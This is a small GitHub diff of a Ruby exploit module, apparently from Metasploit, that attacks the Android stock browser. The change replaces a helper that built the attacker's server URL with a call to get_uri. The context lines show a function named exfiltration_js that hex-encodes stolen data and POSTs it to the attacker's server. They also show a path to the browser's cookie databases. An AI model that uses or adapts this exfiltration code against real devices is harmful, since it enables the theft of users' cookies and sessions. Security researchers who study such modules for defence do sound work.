File tree Expand file tree Collapse file tree 1 file changed +2
-8
lines changed Expand file tree Collapse file tree 1 file changed +2
-8
lines changed Original file line number Diff line number Diff line change @@ -110,7 +110,7 @@ def exfiltration_js
110
110
return (c.length < 2) ? '0'+c : c;
111
111
}).join('');
112
112
var x2 = new XMLHttpRequest();
113
- x2.open('POST', '#{ backend_url } /');
113
+ x2.open('POST', '#{ get_uri } /');
114
114
x2.setRequestHeader('Content-type', 'text/plain');
115
115
x2.send(hex);
116
116
}
@@ -130,13 +130,7 @@ def cookie_path(file='')
130
130
'/data/data/com.android.browser/databases/' + file
131
131
end
132
132
133
- def backend_url
134
- proto = ( datastore [ "SSL" ] ? "https" : "http" )
135
- myhost = ( datastore [ 'SRVHOST' ] == '0.0.0.0' ) ? Rex ::Socket . source_address : datastore [ 'SRVHOST' ]
136
- port_str = ( datastore [ 'SRVPORT' ] . to_i == 80 ) ? '' : ":#{ datastore [ 'SRVPORT' ] } "
137
- "#{ proto } ://#{ myhost } #{ port_str } /#{ datastore [ 'URIPATH' ] . gsub ( /^\/ / , '' ) } "
138
- end
139
-
133
+ # TODO: Make this a proper Rex::Text function
140
134
def hex2bin ( hex )
141
135
hex . chars . each_slice ( 2 ) . map ( &:join ) . map { |c | c . to_i ( 16 ) } . map ( &:chr ) . join
142
136
end
You can’t perform that action at this time.
0 commit comments